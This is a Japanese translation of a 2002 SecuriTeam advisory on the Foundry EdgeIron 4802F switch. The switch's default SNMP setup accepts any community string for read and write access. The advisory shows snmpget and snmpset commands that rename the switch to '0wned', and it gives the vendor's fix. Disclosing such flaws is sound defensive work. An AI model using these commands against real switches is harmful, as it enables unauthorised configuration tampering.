[翻訳:関谷 麻美]2002年3月22日◆概要: EdgeIron のレイヤー 2 スイッチ・ファミリーは、wire-speed パフォーマンス、すぐれた port 密度を提供するよう設計されており、さらに、完全な標準レイヤー 2 機能は、企業ユーザ用の積極果敢な価格に設定されている。この製品のセキュリティ上の脆弱性を利用してリモート攻撃者は、SNMP を介してそのスイッチの構成ファイルにアクセスすることにより、その構成ファイルに書かれた機密情報を読み取りそして上書きすることができる。◆詳細: Foundry Networks EdgeIron 4802F Fast Ethernet スイッチは、どんなコミュニティ文字列を持つスイッチへのSNMP 要求が読み取りもしくは書き込みアクセスを許可するデフォルトの SNMP 構成を持つ。そして、必要なのはそのスイッチへの IP アクセスのみである。例:[prophecy@loki ~]$ snmpget 10.1.1.120 public system.sysNamesystem.sysName.0 =[prophecy@loki ~]$[prophecy@loki ~]$ snmpset 10.1.1.120 totallyinvalidcommunitystring system.sysName s "0wned"system.sysName.0 = 0wned[prophecy@loki ~]$◆解決策: Foundry からの修正プログラムは、下記のコマンドを発行する。EdgeIron(config)#EdgeIron(config)#snmp-server securityEdgeIron(config)#EdgeIron(config)#snmp-server user <name> <community-string> <ip-address> そして、これにより指定された IP がコミュニティ文字列を持つスイッチと対話することが可能になる。他の IP アクセスからの要求は無視され、そして'snmp-server セキュリティ' オプションは基本的に SNMPv1 コミュニティ文字列のチェックを有効にする。◆追加情報: prophecy.net.nz のアドバイザリーがこの情報を提供した。[情報提供:SecuriTeam]http://www.securiteam.com/